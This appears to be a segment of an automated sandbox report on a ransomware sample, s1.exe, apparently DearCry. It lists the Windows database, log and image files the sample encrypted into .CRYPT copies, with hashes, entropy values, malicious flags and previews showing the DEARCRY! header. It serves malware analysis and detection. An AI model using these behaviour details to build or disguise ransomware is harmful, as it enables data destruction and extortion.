                                                              Preview: DEARCRY!........v.!..`..4H.....z.[..iZ....:g.....?...5>.J]....r...G.....Ri.)Q.$........rJ~.N..!.......%(Z.a\\...m0+..-.Fv.....+.>..D~...&.....[...Y4.N%8.....:..,..M.....y.M..*...I...G7.^....izDV0..{..xw|..Gt2.N.x&..p=.7.T..m..E.j0..H..vp.....]...u..S&..|.............n...O..../.f.V.ifl..H.11..S..9yK'So./...Ge...aP..[..I..d9..fY...%..Xp..7..]..Pp3O+..Zc...~..RG..}.sR.j.w.x..v.D.`................u.7....J5`...........a....M.FU/..u..A.P,.Mw...d..Hx......T..l..M.U.3..F......n]..N.}5.b.+l....0(....hh}.....2.N+~.$.Zi...V6X9..Z..g...z.:.~.4.".f '*.t....O.F.-(.1..}.......[.ZM..bW3.L.E..d........|Gt......e...`.-jJH.......OZ.^b..).g.{..l.o%.f..g*...%...I....t.*q^^.\1./r.Bt..;.L2..)....e...=.......g.sw09..K2....o.)..|.....g....,<.o...kh..3mMS.+........T.h.)..w.#...@.u.Y.5Q..a9...4..........fS+.r..'..;.`I3.3.N....._Q.....<...7....5L..r.~.8.q<.._..%J.]s.3%..%{..6.\..,...n<..y_....o.....DO$....;.6..A..\n.j...'..[..%."SY/.1....B.S.............V....h...
                                                              C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8454144
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:981C0CEA6DF2E122E3B913FAE0206B74
                                                              SHA1:6667F80DA36826B351B1258EA313538A004869B1
                                                              SHA-256:1B7224BAE3C0DF30A53479E44FF1844A0A7E3140AB3BDC82A469EB9B0D47EE92
                                                              SHA-512:2B08C04F0D97D9E3342A2C633D4AE2F7580A2A79FAEAFC4575552DE5B5F9D61299278618DFEC36AE61573F0820599CB77E8DA939E07B2058C0B87934E55F34C2
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8454440
                                                              Entropy (8bit):7.999981209553017
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:83E8639222D150D4E13A00D1E677B99B
                                                              SHA1:8ED4F21BD83DC91D06836E424C3EBED60C2A0001
                                                              SHA-256:8A4BDB524FAE79BD606CAD8D5FD205FBFD24D7ECFFAF31B4E784F8CA0575821E
                                                              SHA-512:B6293D16DB164437BDA6E54FC5B2781C08A4633A87B400E594CA43C57781E0F4C7B92B253C484CA4720BFD8E70D29FEEDFFD57D66B398CDEEFD80A39EA795D22
                                                              Malicious:true
                                                              Preview: DEARCRY!......=..T]./;...g52...P...Z...Ot...=8/...J.K ....b..8....d...J..L.....y.O...N.6..L...rx.5.V.!.?e./*.6..^.....W..S..%z......?}{.u.3.![..M...~w..MC6xV..[..T....w...9..ga.y.!.$......^...........%....!{Ku..... ..v..=/....I...E.@......Pu.[....p................k`..#..9.i.{7.....HP....,}.$*SM...=........w.(.4..m?$.....`..VqQ?%..k.h.:.cg(.C..8..N^.p.6M.....3...\.<o..4..b...I..!b~O;O.....#4V....Ux...!.a.......q.R+...A.w...cQ.....a..JD....1..k.FQ..k..P.`..4'1N?.........._"..=c"iL.\E.../..............9.s.ma...A..p.Z.H...2......{7.+.. ..Do.T.0.w9.s...?.t No...:M4..bU..p0b.$..W>.%\.|.y....OAJ..&......5..zD...G.d.....k\..q.9........].....J..Mp.D....%...F\..l$..L-"......`qC.M..D...'X.^.Q.X..Li...S%[F.o..a..Q...(......+y.u..?8zQ.o&^M.z.H...u..@.UFG..T......P....b.&x.g..Ji$Sm..^..f.y.........R..}7..w....l...V.^N|..l.J...e..T.&.i....}.K..~...T.y.).7z..\.^...7..\....q.4.YT.L......l.w..i.?p...!..m.....2.m}..-.=/I....[8...#.oGA5`MA..Jt=..g.R..N.e..
                                                              C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1966080
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FABBD1DC85C973B804A70ED277230E6A
                                                              SHA1:B9D6E09ACCA15A48298FF714FC33E69A3C3422BA
                                                              SHA-256:8FAFA0133CE6D590B28AB45F58D9483FFAA1E7A7C49EF8A49D57A52B790DAFAA
                                                              SHA-512:548BE962FE56ED5CFE717DD35F48B0C88E6247F68170C566CBEA00CD5357697EDF2D22B334E626BF78C610406FF563DD293EB5F765F160FC19C70915750F3129
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1969040
                                                              Entropy (8bit):7.999908159158176
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:30AA785282B26C511ECF1C7536F668C0
                                                              SHA1:0B60A8C6E7A224D1FAB36D09FC2EC7E802E944A2
                                                              SHA-256:8853384B8368DF0117D908F58F84E44EBD8744E6A31021483DB382A1035AFE73
                                                              SHA-512:8F3F80365431238C6B988E5B1645DB80A332F3850FADFFDF47B9C28E20355ADA43A0DA1FC298D166B45AF6B62C00191161BBF396E4AF4DCFCE629FE4612A4E19
                                                              Malicious:true
                                                              Preview: DEARCRY!........FC...-......S$.(2....?.7>+.+.7J.z..Y..z..wra.....[.0.8..w.uDGw......@.h.N..<...(..$~.fD...`..'!~....).7.'.p%.`f.l.<|..4..........H.......N..............2.ZT..x.(....-.)..k.....?.`c....B?..~W....c!...a.\..[..i.]Y..^Z.G..pi/.k....7..;C.:............O..._.....`..3.ml..B.L....!..S.n.....Ztz.OC/Xlj..Y....V.2..1m.^8......z....~.a....T.7....zV..N...0..u.........Cj.]v0.T.@1x.[.n ...r..z..K@...@.Y.5.I.L...?U..3...D.#..r..ZQ...p.....z,=...#...8.dt.Q....-...pV.;G..).p./..'`.i.+..7:Ws..He..X..B1.^....v.q..l..O?E...._..~....).p.7..._.>.J....g.A.....g..w.!.a..5.@._ ..1...A".h^Fl@....Z.h...uj........T2.....9....:....... '..7.^|v.|.YI..z.1..Y..m..ECm].e639..h23I*..qgs.s..<....^r]....!...U....z..6<.s.0;.i.b......]CUgv.....n.~...Y....)suY..4....JAE.....+.*.....v.l>.,....6......n.6....u.#E)G.lH(I.......V.\SM...T..`..j>M..q49.lL....@.W.!.mp}0r...Ir....7.@...w....,..N...#...E+..1.q.+e....#Mg...^.9....O.d. .c.K;....2.!.r.A.I.z$A.a{.....U.R.\..2.
                                                              C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):65536
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:314E20944390BDB0D80B57257C3F1571
                                                              SHA1:1F76C4B46E1EA5618431A77DF20CD1CD33B77A7F
                                                              SHA-256:156C38442089C1323D3E3BA549A6AC24341C47E8B6367BEC4740C9B8C865826E
                                                              SHA-512:C8BD5B55AE22FA12FFA48686818BFDF83EDE790CF7F7E7C113BBA8B01FB64D9C52D068117EE9AC3FB4BD5295759D73590DB2D4E56038E989A95DB8F91F200B83
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):65832
                                                              Entropy (8bit):7.997206571796517
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:2E7A38A0FA055F39C2F31CF1F3B7672D
                                                              SHA1:B337CA545D5CE91E6DDEF746FE7001041C202ADD
                                                              SHA-256:999D325C219AC85CB458F2EA3B5B991AA2B8677F97AFC7DDDFA507FC53BE2407
                                                              SHA-512:1971BFE4C15E6C5F88914DA9C9E6B360D5532A29018D1F71AE59AE72040A414D9FA062399E51DFF35DFDC1405F58512B5FCF8185EC7E1660C3450B7F5EED68E2
                                                              Malicious:true
                                                              Preview: DEARCRY!....n..t..pl.......lA{.,2.Q.xz/]..z-{{u...PL...Q........n.!....{..WNj..Cl.........`.5..3..6G&......~....._qo.r4.A.L...P..P.......%.(a...b-.0....IC%m...hf...........6.0`fcmM........._..s'..}...nF...O.0...H^.|&q.K..'..n.#bI.KF.j........O.{.#..............{.{.p.}p.........<.%.z..f...J.ib.Q.. [h.4.s.9J<......[....OCc@....&^..<75...W.?c.J(._.8Ou..N.F.WT...Q...m.4....A.2e.../_..Vh.+...K2..)1+.O....).Z..[P....]L....`OR.C^.4^.L*....,1...'...CJ2.o....U?F.J..&.f...j...-.Q9..Sz....B.9r?.-..7..;0...7...v.l.79.9f[IP!....q.h.xf....'./.v.<..J?5..a=.Y...g@[...~.!......2..\dd.5..K.A..W..`....V$V....3...s.!.8u]../....jb.c>NV...'-....ulB.k..5..U..m....0......C...%.2...p.f.".....%..m.q.......G..s+y9..N.+.....%..v.,...F;&..awS{,C.3..I.i1d.%_.;.%.....b.`.-....<.. l............#.,.....p?m.6;....?4.Q.t1`8.d...y~..r.......Pt.N....:v....x..hD..\.cEg.y..@.6.\....x...#,.*=^...Y........S...o...&.n_.....C...-d...gC...!`.....B..j..[..."..{..!m./R.>.:.>....
                                                              C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb00001.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):65536
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:314E20944390BDB0D80B57257C3F1571
                                                              SHA1:1F76C4B46E1EA5618431A77DF20CD1CD33B77A7F
                                                              SHA-256:156C38442089C1323D3E3BA549A6AC24341C47E8B6367BEC4740C9B8C865826E
                                                              SHA-512:C8BD5B55AE22FA12FFA48686818BFDF83EDE790CF7F7E7C113BBA8B01FB64D9C52D068117EE9AC3FB4BD5295759D73590DB2D4E56038E989A95DB8F91F200B83
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb00001.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):65832
                                                              Entropy (8bit):7.9973478881343185
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:5DF2AA880B3DEE7DB417AEDB25317EAA
                                                              SHA1:0522A5D067D19F0E72C786D4646A50A2F00F5792
                                                              SHA-256:30D81BDC92EE043A47C8275BBE28DC39140591ECBD0E7E13C9B222568DD8EAFE
                                                              SHA-512:ED09E44229DCF90400C157306B363CB5528BDD3C09B205017D9BBB149D951AD644D852C8270E782697F92F9C91C1BB1DBE7737ECFB4D62EA20A28DDB1F06347D
                                                              Malicious:true
                                                              Preview: DEARCRY!....x..B.!..U..I./.g8K..^.I..?o..).....S.V.?.!3.}..*.".[.3....l.i.jk...4..oi{..Pp$.KB..Y.....P..#..6..3o.Q.#. .Q&YN...O.9..fjkX..U.MRw......a..6.,...-....6.%.6......^Q._->.p..;(...SX.C....&\..F".d...2..[....M..;..g.).'n.<..........F.....V....zz.............. ...-.DK....E.kV.h7A.la%..qN....;..|.v...u...A.:$.J......Y....7m...bt..}@.......i.......oG.A..DQ..2.8.?X..p.?..z\.../f!|.....g5...n%...IU...A.3t.!.....U...4......J..M....l....5.z.e:..r..%......4...\".J..D...)..e..J....~"..B!.Y..W....vBm.P....l>c.....C..a.6..*.O.|...9i......p....Auv.qnX.`{s.....Iz.....(..y.NA6~....T\..c).6.CD.......4.#.. ..{..w.......2..~.[.xM+..4.2.'.!..w&..S....P...1}...*A..h...O...-..l.M..L.x{AFc.. .'.....::K.#]..o{y....#..$C`E..!._.Y.. ..o.{.2+.h...j.K..a:..J.g..7.Wb...........lz.....q....CV....Mv...'...>=..%Xfk...LC.K.G..Dz..RO.....4m..V....L)..~....As.t..y?.v..9L...Z.I~...jRs.^4...5<..........83.N.z.A.w.....:o.ZHX......=pr..G.8G9.J~.t+d..1.cGh.dW.kZ.
                                                              C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbtmp.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):65536
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:314E20944390BDB0D80B57257C3F1571
                                                              SHA1:1F76C4B46E1EA5618431A77DF20CD1CD33B77A7F
                                                              SHA-256:156C38442089C1323D3E3BA549A6AC24341C47E8B6367BEC4740C9B8C865826E
                                                              SHA-512:C8BD5B55AE22FA12FFA48686818BFDF83EDE790CF7F7E7C113BBA8B01FB64D9C52D068117EE9AC3FB4BD5295759D73590DB2D4E56038E989A95DB8F91F200B83
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbtmp.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):65832
                                                              Entropy (8bit):7.9972982165669
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:70FDB4C209E3513E81D2DDB57E68D2DE
                                                              SHA1:D6B0E127BD315F71C44344A47E69BAF234166637
                                                              SHA-256:E9A967D7E5450C005F12E05CB4C53312D934C321ADF8EC9E50598F766B885E2A
                                                              SHA-512:C95F0FFA4EF7ADCA02D6A7ACCBD7AADD792F8E22C51A05B8191AF0D191A2B6882CFF3BE2B3274922D7EAE8BB99C4095339BCF1D9E4BD0BE2ECB274EE1577C126
                                                              Malicious:true
                                                              Preview: DEARCRY!.....z....65..:...zc...Z.,S.a..o.o%.......Pb.,.W..L...{.i[..:JRH..<.......-8..89..w.QB[.....=.u.W.E..bO...MJab.}.&-..a...n.$C.|..zqq.N.............A..l.).?.Q.E.vM..$..O.c...%..'..3*......h)..s... Z.+ ...L...F7*.....6.B.Z..Qle...^.mT....`1...............GE..c....*w..Q.j.....a..>.'.Q.bj... '/y.[.n.p.{.kt...9.X..mb.nv.u.nO.2..X.....F.l.........~.....X.$..j...K(+E.w..It..]....,..{.MN.~#....K.8............_.$.@.....(.f.!-..!g=lSF......8.../M.X.....r........].PG.H.F...e|.3I.P...E..g..3..E..&*..\;1...H..k.....Y..;hn.t..a`.K.Gn.c.+.?uY+.O.c...t.....Jl~..8.>.t6d.Xw..R..]3.......K....u......C..\..S.^.^....U.%...|I.{.JT.n.W.nZ"H@..Ae8(M...C{\..?........z....G...._&.....a.pL....8.._k.uAj*.. ...g\..0l../Gj.Y;.....m..._..M.Xw......Y.*...lB.........3.G.`..I(9"c.....O.L.'..'D.3n..>.V+..{h..B_..A(..2..'.v...a...P...wi.._..+P..R.y....u...{..$.&in.!...X.F.|..l..Y.$6..&.%T....s.u.d.....o...r.."=.ye2..1A."......4.....0m...FemN..........(....~...Q.P
                                                              C:\ProgramData\Microsoft\User Account Pictures\defaultuser0.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2960
                                                              Entropy (8bit):7.78968097861209
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:976F57561C315E07722D960EE8E27538
                                                              SHA1:B294AC881A6003C44A1B9150367E2AB50556ED03
                                                              SHA-256:5F45BC701C60F642FE078FD7EDACE432B67AFF47F0086C48F31FF40F406D9BA4
                                                              SHA-512:7B07853DFA46E4598651B9BDADC6A6F28BC7255FBD2BC8EFC086D5FE47CA5AB8DC7F8C4B3E203FE77F8A59444390CD3DCD8196074F3A3AD1E2F5B74813D51F93
                                                              Malicious:false
                                                              Preview: DEARCRY!....w....}..):.C..9.Z...Y.B..x....^...c..V../.<.9.q.h.....^.{..t..{Y....h.?..U.XI&;H.r...U.e.....C._..l..+.E..=E.....h..A..0M..c.g.....[......E0..X.:..o..o..Ss...e?.?.c.Xj.'x..6..k_e.f:...~...P|.......q.!............B,.8.."(=.T..w.....R+...t1.`..3............n....(.o.....DEARCRY!.....d.3.......w.z].Op...tu)GN.t..7.?.Ci.kOId.Q.8.....V...U.h...`...t...ZY...u.....1.....u.*.G.1.Z..9........o0N......6........1:..y.....U(*d..........Q6.x.1.j&.D}..[..G.!LE]_>.`..qo.U..evH5Z...s.Y..i<<.t.P!......s.m.................X.4g.>w.|e....................../......E.9DEARCRY!......8O..$.5........:.%qr8o..|_K....q...qB.#,F...T...(kT.....q..)..9!.u +..Y^..vQ.F..."....N./..r......j....`..........Ul..f..a/..1YR.9.T'...x7...6.......a...\a...Y.#.Hb..z=...{:b...............ni.$...~.=...t...*a4..g..H....Z.p...mrR.V...$....{{.0f................-$..[...H(k..DEARCRY!....s...b.q...%<p.7...hE.....8...|...Ft...;w!..N.).5..8...K.o..T.J..Yf..,.b.-..9...X6..a)...[....j*[.r.
                                                              C:\ProgramData\Microsoft\User Account Pictures\guest.bmp
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):602168
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6D301DC8AF8357AB5108C0C511CAF10F
                                                              SHA1:C6B25FE519C45B94AF05608A93169D576EC3977E
                                                              SHA-256:A79A35B98BF2B818AF22983E5B329A7CADB8DB46BD96798BA08AC4F9540B615A
                                                              SHA-512:50113567BCCE9B73A66ACF58C57264049FA55A5B92FACDC74209AECBA54A6E96472263CF106EED025F5E256A76E23BADADFE79512247CD723991933BB3F279BB
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA